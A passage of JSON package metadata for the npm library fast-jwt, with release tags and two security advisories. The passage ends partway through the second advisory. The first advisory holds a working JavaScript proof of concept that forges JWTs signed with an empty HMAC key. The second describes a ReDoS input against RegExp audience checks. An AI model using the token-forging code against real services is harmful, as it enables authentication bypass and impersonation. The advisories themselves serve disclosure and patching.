4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"12e22a25a1c9b1b05a2252c6f81e2ef4bd4b3601","kind":"commit","published_at":"2020-09-08T13:56:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"18c56b0d9d2b6607f0e1c22c5f130e21f57d3249","kind":"tag","published_at":"2020-09-04T06:44:33.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"ef601872d33c438e61e4e440aa714c8daec8b2bd","kind":"tag","published_at":"2020-08-27T06:30:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"1cfa5064c6d5190b47c450d543c59bb8303f06b3","kind":"commit","published_at":"2020-08-17T13:09:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0/manifests"},{"name":"v0.1.1","sha":"4476dcfff678c27e506245a33293dce5781236e3","kind":"commit","published_at":"2020-06-23T09:27:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"878469bd124161f35b43b38575f9d8a237c65061","kind":"commit","published_at":"2020-06-23T09:12:56.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2024-10-29T21:57:14.213Z","dependent_packages_count":64,"downloads":4882384,"downloads_period":"last-month","dependent_repos_count":1526,"rankings":{"downloads":0.30156546719529825,"dependent_repos_count":0.5175257957284857,"dependent_packages_count":0.49850700095498135,"stargazers_count":3.5122790339992536,"forks_count":4.782707257606457,"docker_downloads_count":0.5448746059851862,"average":1.6929098602449437},"purl":"pkg:npm/fast-jwt","advisories":[{"uuid":"GSA_kwCzR0hTQS1nbXZmLTl2NHAtdjhqY84ABWWe","url":"https://github.com/advisories/GHSA-gmvf-9v4p-v8jc","title":"fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver","description":"### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`'s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (`''`), for example via the common `keys[decoded.header.kid] || ''` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = ['HS256','HS384','HS512']` from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key='', input='${header}.${payload}')`, which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `''` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (typeof key === 'string') {\n    key = Buffer.from(key, 'utf-8')\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n  ...\n  if (typeof currentKey === 'string') {\n    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)\n  } else if (!(currentKey instanceof Buffer)) {\n    return callback(... 'string or buffer'...)\n  }\n\n  try {\n    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']\n\n    if (validationContext.allowedAlgorithms.length) {\n      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n    } else {\n      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned\n    }\n\n    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently\n    verifyToken(currentKey, decoded, validationContext)\n  }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === 'HS') {\n  try {\n    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n  } catch { return false }\n}\n```\n\n`crypto.createHmac('sha256', emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker's payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: '' | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== 'function')` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `''` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from 'fast-jwt'\nimport * as crypto from 'node:crypto'\n\nfunction b64url(buf) {\n  return Buffer.from(buf).toString('base64')\n    .replace(/=+$/, '').replace(/\\+/g, '-').replace(/\\//g, '_')\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))\nconst payload = b64url(JSON.stringify({\n  sub: 'attacker', admin: true,\n  iat: Math.floor(Date.now() / 1000),\n  exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac('sha256', '').update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to '' when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n  key: async (decoded) =\u003e ({ 'real-kid': '\u003creal key\u003e' }[decoded.header.kid] || '')\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n— the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e ''` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `(d, cb) =\u003e cb(null, '')` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| ''` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `async () =\u003e ''` | `['HS256','HS384','HS512']` | ✅ accept | ✅ accept | ✅ accept |\n| `async () =\u003e ''` | `['HS256','RS256']` | ✅ accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e ''` | `['RS256']` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key's detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. → ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE.\n- The synchronous `key: ''` (string) configuration is correctly rejected. → MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return `''` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || ''` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** — the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `['HS256','HS384','HS512']` when it sees an empty key.\n4. **Cache amplification** — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n   if (typeof key === 'string') {\n     key = Buffer.from(key, 'utf-8')\n   }\n+\n+  if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')\n+  }\n+\n   return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: ''` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-06T22:26:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc","https://nvd.nist.gov/vuln/detail/CVE-2026-44351","https://github.com/advisories/GHSA-gmvf-9v4p-v8jc"],"source_kind":"github","identifiers":["GHSA-gmvf-9v4p-v8jc","CVE-2026-44351"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T23:00:08.900Z","updated_at":"2026-08-14T00:03:29.359Z","epss_percentage":0.00237,"epss_percentile":0.14762,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbXZmLTl2NHAtdjhqY84ABWWe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbXZmLTl2NHAtdjhqY84ABWWe","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"6.2.4","vulnerable_version_range":"\u003c= 6.2.3"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbXZmLTl2NHAtdjhqY84ABWWe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1janc5LWdoajQtZnd4Zs4ABVAr","url":"https://github.com/advisories/GHSA-cjw9-ghj4-fwxf","title":"fast-jwt has a ReDoS when using RegExp in allowed* leading to CPU exhaustion during token verification","description":"## ⚠️ IMPORTANT CLARIFICATIONS\n\n  ### Affected Configurations\n  This vulnerability ONLY affects applications that:\n  - Use RegExp objects (not strings) in the allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options\n  - Configure patterns susceptible to catastrophic backtracking\n  - Example: `allowedAud: /^(a+)+X$/` ← VULNERABLE\n  - Example: `allowedAud: \"api.company.com\"` ← SAFE\n\n  ### Not Affected\n  - Applications using string patterns for audience validation (most common)\n  - Applications using safe RegExp patterns without nested quantifiers\n  - Default fast-jwt configurations\n\n  ### Assessment Guide\n  To determine if you're affected:\n  1. Check ifallowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce use RegExp objects (`/pattern/` or `new RegExp()`)\n  2. If yes, review the pattern for nested quantifiers like `(a+)+`, `(.*)*`, etc.\n  3. If no RegExp usage, you are NOT affected\n\n------\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003c!--StartFragment--\u003e\u003ch2 data-start=\"218\" data-end=\"228\"\u003eSummary\u003c/h2\u003e\n\u003cp data-start=\"230\" data-end=\"364\"\u003eA denial-of-service condition exists in \u003ccode data-start=\"270\" data-end=\"280\"\u003efast-jwt\u003c/code\u003e when the \u003ccode data-start=\"290\" data-end=\"302\"\u003eallowedAud\u003c/code\u003e verification option is configured using a regular expression.\u003c/p\u003e\n\u003cp data-start=\"366\" data-end=\"618\"\u003eBecause the \u003ccode data-start=\"378\" data-end=\"383\"\u003eaud\u003c/code\u003e claim is attacker-controlled and the library evaluates it against the supplied \u003ccode data-start=\"463\" data-end=\"471\"\u003eRegExp\u003c/code\u003e, a crafted JWT can trigger catastrophic backtracking in the JavaScript regex engine, resulting in significant CPU consumption during verification.\u003c/p\u003e\n\u003cp data-start=\"620\" data-end=\"726\"\u003eThis occurs with a \u003cstrong data-start=\"639\" data-end=\"661\"\u003evalidly signed JWT\u003c/strong\u003e, making the issue exploitable in authenticated contexts such as:\u003c/p\u003e\n\u003cul data-start=\"728\" data-end=\"855\"\u003e\n\u003cli data-start=\"728\" data-end=\"744\"\u003e\n\u003cp data-start=\"730\" data-end=\"744\"\u003eAPI gateways\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"745\" data-end=\"774\"\u003e\n\u003cp data-start=\"747\" data-end=\"774\"\u003eauthentication middleware\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"775\" data-end=\"811\"\u003e\n\u003cp data-start=\"777\" data-end=\"811\"\u003eservice-to-service communication\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"812\" data-end=\"855\"\u003e\n\u003cp data-start=\"814\" data-end=\"855\"\u003eOAuth / OIDC token validation pipelines\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"857\" data-end=\"860\"\u003e\n\u003ch2 data-start=\"862\" data-end=\"883\"\u003eAffected Component\u003c/h2\u003e\n\u003cul data-start=\"885\" data-end=\"1035\"\u003e\n\u003cli data-start=\"885\" data-end=\"910\"\u003e\n\u003cp data-start=\"887\" data-end=\"910\"\u003e\u003cstrong data-start=\"887\" data-end=\"899\"\u003eLibrary:\u003c/strong\u003e fast-jwt\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"911\" data-end=\"940\"\u003e\n\u003cp data-start=\"913\" data-end=\"940\"\u003e\u003cstrong data-start=\"913\" data-end=\"932\"\u003eVersion tested:\u003c/strong\u003e 6.1.0\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"941\" data-end=\"974\"\u003e\n\u003cp data-start=\"943\" data-end=\"974\"\u003e\u003cstrong data-start=\"943\" data-end=\"955\"\u003eRuntime:\u003c/strong\u003e Node.js v24.13.1\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"975\" data-end=\"1035\"\u003e\n\u003cp data-start=\"977\" data-end=\"1035\"\u003e\u003cstrong data-start=\"977\" data-end=\"989\"\u003eFeature:\u003c/strong\u003e claim validation using \u003ccode data-start=\"1013\" data-end=\"1033\"\u003eallowedAud: RegExp\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"1037\" data-end=\"1040\"\u003e\n\u003ch2 data-start=\"1042\" data-end=\"1051\"\u003eImpact\u003c/h2\u003e\n\u003cp data-start=\"1053\" data-end=\"1091\"\u003e\u003cstrong data-start=\"1053\" data-end=\"1091\"\u003eCPU exhaustion / Denial of Service\u003c/strong\u003e\u003c/p\u003e\n\u003cp data-start=\"1093\" data-end=\"1203\"\u003eA crafted JWT causes verification to take multiple seconds per request due to catastrophic regex backtracking.\u003c/p\u003e\n\u003ch3 data-start=\"1205\" data-end=\"1236\"\u003eMeasured verification times\u003c/h3\u003e\n\u003cdiv class=\"TyagGW_tableContainer\"\u003e\u003cdiv tabindex=\"-1\" class=\"group TyagGW_tableWrapper flex flex-col-reverse w-fit\"\u003e\nInput size (n) | Verification time\n-- | --\n24 | ~123 ms\n28 | ~1.97 s\n30 | ~7.85 s\n\n\u003c/div\u003e\u003c/div\u003e\n\u003cp data-start=\"1339\" data-end=\"1361\"\u003eThis is sufficient to:\u003c/p\u003e\n\u003cul data-start=\"1363\" data-end=\"1546\"\u003e\n\u003cli data-start=\"1363\" data-end=\"1399\"\u003e\n\u003cp data-start=\"1365\" data-end=\"1399\"\u003eblock Node.js event loop threads\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"1400\" data-end=\"1426\"\u003e\n\u003cp data-start=\"1402\" data-end=\"1426\"\u003edegrade API throughput\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"1427\" data-end=\"1463\"\u003e\n\u003cp data-start=\"1429\" data-end=\"1463\"\u003ecause cascading service failures\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"1464\" data-end=\"1503\"\u003e\n\u003cp data-start=\"1466\" data-end=\"1503\"\u003eincrease serverless execution costs\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"1504\" data-end=\"1546\"\u003e\n\u003cp data-start=\"1506\" data-end=\"1546\"\u003esaturate authentication infrastructure\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"1548\" data-end=\"1551\"\u003e\n\u003ch2 data-start=\"1553\" data-end=\"1566\"\u003eRoot Cause\u003c/h2\u003e\n\u003cp data-start=\"1568\" data-end=\"1627\"\u003eThe library allows regular expressions in claim validation:\u003c/p\u003e\n\u003cpre class=\"overflow-visible! px-0!\" data-start=\"1629\" data-end=\"1661\"\u003e\u003cdiv class=\"w-full my-4\"\u003e\u003cdiv class=\"\"\u003e\u003cdiv class=\"relative\"\u003e\u003cdiv class=\"h-full min-h-0 min-w-0\"\u003e\u003cdiv class=\"h-full min-h-0 min-w-0\"\u003e\u003cdiv class=\"border corner-superellipse/1.1 border-token-border-light bg-token-bg-elevated-secondary rounded-3xl\"\u003e\u003cdiv class=\"pointer-events-none absolute inset-x-4 top-12 bottom-4\"\u003e\u003cdiv class=\"pointer-events-none sticky z-40 shrink-0 z-1!\"\u003e\u003cdiv class=\"sticky bg-token-border-light\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"pointer-events-none absolute inset-x-px top-0 bottom-96\"\u003e\u003cdiv class=\"pointer-events-none sticky z-40 shrink-0 z-1!\"\u003e\u003cdiv class=\"sticky bg-token-bg-elevated-secondary\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"corner-superellipse/1.1 rounded-3xl bg-token-bg-elevated-secondary\"\u003e\u003cdiv class=\"relative z-0 flex max-w-full\"\u003e\u003cdiv id=\"code-block-viewer\" dir=\"ltr\" class=\"q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr\"\u003e\u003cdiv class=\"cm-scroller\"\u003e\u003cdiv class=\"cm-content q9tKkq_readonly\"\u003e\u003cspan class=\"ͼo\"\u003eallowedAud\u003c/span\u003e\u003cspan\u003e: \u003c/span\u003e\u003cspan class=\"ͼk\"\u003e/^(a+)+X$/\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"\"\u003e\u003cdiv class=\"\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/pre\u003e\n\u003cp data-start=\"1663\" data-end=\"1702\"\u003eThe \u003ccode data-start=\"1667\" data-end=\"1672\"\u003eaud\u003c/code\u003e claim is attacker-controlled:\u003c/p\u003e\n\u003cpre class=\"overflow-visible! px-0!\" data-start=\"1704\" data-end=\"1739\"\u003e\u003cdiv class=\"w-full my-4\"\u003e\u003cdiv class=\"\"\u003e\u003cdiv class=\"relative\"\u003e\u003cdiv class=\"h-full min-h-0 min-w-0\"\u003e\u003cdiv class=\"h-full min-h-0 min-w-0\"\u003e\u003cdiv class=\"border corner-superellipse/1.1 border-token-border-light bg-token-bg-elevated-secondary rounded-3xl\"\u003e\u003cdiv class=\"pointer-events-none absolute inset-x-4 top-12 bottom-4\"\u003e\u003cdiv class=\"pointer-events-none sticky z-40 shrink-0 z-1!\"\u003e\u003cdiv class=\"sticky bg-token-border-light\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"pointer-events-none absolute inset-x-px top-0 bottom-96\"\u003e\u003cdiv class=\"pointer-events-none sticky z-40 shrink-0 z-1!\"\u003e\u003cdiv class=\"sticky bg-token-bg-elevated-secondary\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"corner-superellipse/1.1 rounded-3xl bg-token-bg-elevated-secondary\"\u003e\u003cdiv class=\"relative z-0 flex max-w-full\"\u003e\u003cdiv id=\"code-block-viewer\" dir=\"ltr\" class=\"q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr\"\u003e\u003cdiv class=\"cm-scroller\"\u003e\u003cdiv class=\"cm-content q9tKkq_readonly\"\u003e\u003cspan class=\"ͼm\"\u003eaud\u003c/span\u003e\u003cspan\u003e \u003c/span\u003e\u003cspan class=\"ͼg\"\u003e=\u003c/span\u003e\u003cspan\u003e \u003c/span\u003e\u003cspan class=\"ͼk\"\u003e\"a\"\u003c/span\u003e\u003cspan class=\"ͼg\"\u003e.\u003c/span\u003e\u003cspan\u003erepeat(\u003c/span\u003e\u003cspan class=\"ͼm\"\u003en\u003c/span\u003e\u003cspan\u003e) \u003c/span\u003e\u003cspan class=\"ͼg\"\u003e+\u003c/span\u003e\u003cspan\u003e \u003c/span\u003e\u003cspan class=\"ͼk\"\u003e\"Y\"\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"\"\u003e\u003cdiv class=\"\"\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/pre\u003e\n\u003cp data-start=\"1741\" data-end=\"1811\"\u003eThis creates catastrophic backtracking in the JavaScript regex engine.\u003c/p\u003e\n\u003cp data-start=\"1813\" data-end=\"1881\"\u003eVerification time grows \u003cstrong data-start=\"1837\" data-end=\"1854\"\u003eexponentially\u003c/strong\u003e as input length increases.\u003c/p\u003e\n\u003chr data-start=\"1883\" data-end=\"1886\"\u003e\n\u003ch2 data-start=\"1888\" data-end=\"1905\"\u003eExploitability\u003c/h2\u003e\n\u003cp data-start=\"1907\" data-end=\"1923\"\u003eAttack requires:\u003c/p\u003e\n\u003cul data-start=\"1925\" data-end=\"2066\"\u003e\n\u003cli data-start=\"1925\" data-end=\"1975\"\u003e\n\u003cp data-start=\"1927\" data-end=\"1975\"\u003ea valid signed JWT (post-authentication context)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"1976\" data-end=\"2015\"\u003e\n\u003cp data-start=\"1978\" data-end=\"2015\"\u003eattacker control over the \u003ccode data-start=\"2004\" data-end=\"2009\"\u003eaud\u003c/code\u003e claim\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2016\" data-end=\"2066\"\u003e\n\u003cp data-start=\"2018\" data-end=\"2066\"\u003ea vulnerable regex configured by the application\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 data-start=\"2068\" data-end=\"2099\"\u003eCommon real-world scenarios\u003c/h3\u003e\n\u003cul data-start=\"2101\" data-end=\"2232\"\u003e\n\u003cli data-start=\"2101\" data-end=\"2120\"\u003e\n\u003cp data-start=\"2103\" data-end=\"2120\"\u003eshared HS secrets\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2121\" data-end=\"2144\"\u003e\n\u003cp data-start=\"2123\" data-end=\"2144\"\u003einternal JWT issuance\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2145\" data-end=\"2174\"\u003e\n\u003cp data-start=\"2147\" data-end=\"2174\"\u003emicroservice authentication\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2175\" data-end=\"2206\"\u003e\n\u003cp data-start=\"2177\" data-end=\"2206\"\u003eOAuth / OIDC custom audiences\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2207\" data-end=\"2232\"\u003e\n\u003cp data-start=\"2209\" data-end=\"2232\"\u003einternal service tokens\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"2234\" data-end=\"2237\"\u003e\n\u003ch2 data-start=\"2239\" data-end=\"2258\"\u003eProof of Concept\u003c/h2\u003e\n\u003ch3 data-start=\"2260\" data-end=\"2282\"\u003eReproduction steps\u003c/h3\u003e\n\u003col data-start=\"2284\" data-end=\"2407\"\u003e\n\u003cli data-start=\"2284\" data-end=\"2305\"\u003e\n\u003cp data-start=\"2287\" data-end=\"2305\"\u003eInstall \u003ccode data-start=\"2295\" data-end=\"2305\"\u003efast-jwt\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2306\" data-end=\"2357\"\u003e\n\u003cp data-start=\"2309\" data-end=\"2357\"\u003eConfigure verifier with a RegExp in \u003ccode data-start=\"2345\" data-end=\"2357\"\u003eallowedAud\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2358\" data-end=\"2407\"\u003e\n\u003cp data-start=\"2361\" data-end=\"2407\"\u003eSend a valid signed JWT with adversarial \u003ccode data-start=\"2402\" data-end=\"2407\"\u003eaud\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 data-start=\"2409\" data-end=\"2431\"\u003eAttached artifacts\u003c/h3\u003e\n\u003cul data-start=\"2433\" data-end=\"2495\"\u003e\n\u003cli data-start=\"2433\" data-end=\"2463\"\u003e\n\u003cp data-start=\"2435\" data-end=\"2463\"\u003e\u003ccode data-start=\"2435\" data-end=\"2463\"\u003epoc-suite-redos-fastjwt.js\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2464\" data-end=\"2495\"\u003e\n\u003cp data-start=\"2466\" data-end=\"2495\"\u003e\u003ccode data-start=\"2466\" data-end=\"2495\"\u003eevidence-redos-fastjwt.json\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 data-start=\"2497\" data-end=\"2518\"\u003eObserved behavior\u003c/h3\u003e\n\u003cp data-start=\"2520\" data-end=\"2612\"\u003eVerification CPU time increases from milliseconds to multiple seconds as input length grows.\u003c/p\u003e\n\u003chr data-start=\"2614\" data-end=\"2617\"\u003e\n\u003ch2 data-start=\"2619\" data-end=\"2645\"\u003eSecurity Classification\u003c/h2\u003e\n\u003cul data-start=\"2647\" data-end=\"2793\"\u003e\n\u003cli data-start=\"2647\" 